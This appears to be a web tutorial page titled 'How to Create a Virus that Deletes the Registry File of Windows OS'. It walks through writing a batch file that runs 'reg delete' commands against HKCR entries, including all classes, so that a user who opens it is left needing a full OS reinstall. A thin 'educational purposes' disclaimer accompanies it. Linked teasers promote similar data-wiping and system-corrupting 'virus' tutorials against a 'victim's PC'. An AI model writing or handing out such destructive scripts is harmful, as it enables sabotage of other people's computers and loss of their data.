Open In App

How to Create a Virus that Deletes the Registry File of Windows OS?

Last Updated : 13 Apr, 2021
Improve
Improve
Like Article
Like
Save
Share
Report

The virus that we are going to create in this article can be used to wipe out the Windows registry or simply registry from the database of the Windows system.

The registry or Windows registry is a database that holds information regarding the settings, options, and critical values that software and hardware in the Windows OS use. For this, we don’t have to download any specific software we can start coding in Notepad and save the file as .bat Extension

Now to create the virus follow the below steps:

Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us. 

Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.

Step 3: Type in the below-mentioned code in the Notepad:

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Step 4: After typing in all the code save the file with the name of your choice. But remember to save the file with .bat extension.

The Virus has been Successfully Created by you but this will only work when it is opened by the user once.

To resolve this issue the user must Reinstall the Operating System. No other Option will work in this situation because this will also delete the Backup kept in the Computer.

Disclaimer: GeeksforGeeks does not support the spread of ransomware/viruses and if you intend to use this information for malicious purposes, we are in no way responsible. This information is intended to be used for educational purposes only. If the virus file is clicked or opened by the user, resultantly all the registry data in the system will be wiped clean.


Similar Reads

How to Create the Virus File that Deletes the IMP File of the Operating System?
The virus that we are going to create in this article will delete all the Mandatory files of the Operating System (OS). Also as the virus activates it will also wipe out all the files in the system whenever the victim's PC restarts. Now to create the virus follow the below steps: Step 1: Press the Window + R Button from the Keyboard. This will open
2 min read
How to Fix Broken Registry issues on Windows?
The Windows Registry, a crucial system component, stores configuration information for the operating system, internal applications, and drivers. It installs with new software or hardware and may become corrupt over time. Broken registry items can lead to system errors and hinder normal functioning. To maintain and clean obsolete entries, it is reco
4 min read
How to Create a Shut-Down Virus for Windows?
As the name of the virus is clear we are here trying to Create a simple shout-down Virus that is not harmful to the data that is saved in the computer this type of virus automatically restarts the PC when the user Login/Start the PC. This virus Automatically shout-down the PC till the time it is programmed by the programmer and not able to do any w
2 min read
How to Create a Virus that Can Corrupt the Windows OS?
As per the name of the Virus is clear this is used to Corrupt the Operating System (OS) of any PC, But there is some relief that this Virus only works when it is activated by the user this will not affect any other file or the Program kept in the computer. If this virus is activated in the Computer and you have noticed it then try not to Shut Down
2 min read
How to Create a Virus to Wipe All User Data from Windows?
The virus that we are going to create in this article can be used to wipe out all data from the system. For this, we don't have to download any specific software we can start coding in Notepad and save the file as .bat Extension. Now to create the virus follow the below steps: Step 1: Press the Window + R Button from the Keyboard. This will open th
2 min read
How to Create a Virus that Disables the Internet Connection of Windows System?
In this article, we will discuss the process of creating a Virus file that can disable the internet connection in a Windows Computer System. For this, we don’t have to download any specific software we can start coding in Notepad and save the file as .bat Extension. Now to create the virus follow the below steps: Step 1: Press the Window + R Button
2 min read
How to Create a Virus to Open Up Multiple Window Automatically in Windows OS?
The virus that we are going to create in this article will automatically open up multiple windows in the victim's Windows PC. This is an annoying type of Virus because as per the heading this is capable to open the multiple window screen in front of the user without allowing the user to open any other file that he/she wants to work after the activa
2 min read
How to Create a Virus to Open Multiple CMD Windows Automatically ?
The virus that we are going to create in this article will automatically open up multiple CMD windows in the victim's Windows PC. This is an annoying type of Virus because as per the heading this is capable of opening multiple CMD window screen in front of the user without allowing the user to open any other file that he/she wants to work after the
2 min read
How to Fix Windows Error Code 0x800700E1: Virus Detected
One of the important errors is Windows Virus Error which is marked with the Error Code 0x800700E1. While performing the backup on the device or sharing any file, the Virus Detection Error prompts and halts the execution to get completed. In this article, we will discuss a handful of methods to overcome the Error Issue 0x800700E1 on the Windows oper
5 min read
How to Create an Application Boom Virus?
The virus that we are building here will automatically open up random applications of the PC until the PC freezes. This can be a pretty annoying virus. For the Creation of the Virus follow these steps: Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us. Step 2: Type Notepad in the Dial
2 min read
Article Tags :